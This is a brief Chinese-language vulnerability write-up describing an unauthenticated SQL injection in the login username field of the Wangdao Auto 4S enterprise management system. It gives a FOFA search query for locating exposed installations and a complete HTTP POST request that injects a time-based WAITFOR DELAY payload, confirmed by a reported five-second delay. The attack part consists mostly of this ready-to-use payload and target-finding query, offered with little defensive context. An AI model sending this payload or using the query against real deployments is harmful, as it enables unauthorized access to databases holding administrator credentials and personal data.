W13-1王道汽车4S-企业管理系统-SQL

漏洞描述：

王道汽车4S企业管理系统 登录框用户名接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

网站图片：

网络测绘：

fofa语法：

body="PixelsPerInch" && body="AxBorderStyle" && body="DropTarget"

漏洞复现：

payload：

```
POST / HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: application/x-www-form-urlencoded; charset=utf-8
X-MicrosoftAjax: Delta=true
X-Requested-With: XMLHttpRequest
Connection: close

ScriptManager1=UpdatePanel3|btnLogin&__EVENTTARGET=btnLogin&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=&ddlUserName=&txtUserName=1';WAITFOR DELAY '0:0:5'--&txtPassWord=1&
```

效果图:
延时5秒